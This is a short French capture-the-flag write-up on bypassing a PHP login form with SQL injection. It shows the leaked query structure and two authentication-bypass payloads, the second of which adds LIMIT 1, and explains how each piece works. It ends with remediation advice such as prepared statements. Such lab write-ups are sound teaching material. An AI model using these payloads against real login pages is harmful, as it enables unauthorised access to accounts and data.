Solution de FrenchPhalange pour Push it to the limit

intro web PHP

20 janvier 2025

🎯 Objectif

Se connecter à l’application web en exploitant une vulnérabilité d’injection SQL.

🔍 Découverte

En inspectant le code source de l’application, on trouve un commentaire HTML révélant la structure de la requête :

SELECT * FROM users WHERE username="[INPUT]" AND password="[INPUT]"

💉 Exploitation

Première tentative

" OR "1"="1" --

➜ Erreur : “trop de lignes sont retournées par la requête SQL”

🛠️ Solution finale

" OR "1"="1" LIMIT 1 --

Comment ça marche ?

  1. " ferme le guillemet de la requête
  2. OR "1"="1" ajoute une condition toujours vraie
  3. LIMIT 1 restreint le résultat à une seule ligne
  4. -- commente le reste de la requête

🎉 Flag

Flag obtenu après connexion réussie !

Correction

Pour sécuriser ce type de vulnérabilité :

  • Utiliser des requêtes préparées
  • Échapper correctement les entrées utilisateur
  • Implémenter une validation côté serveur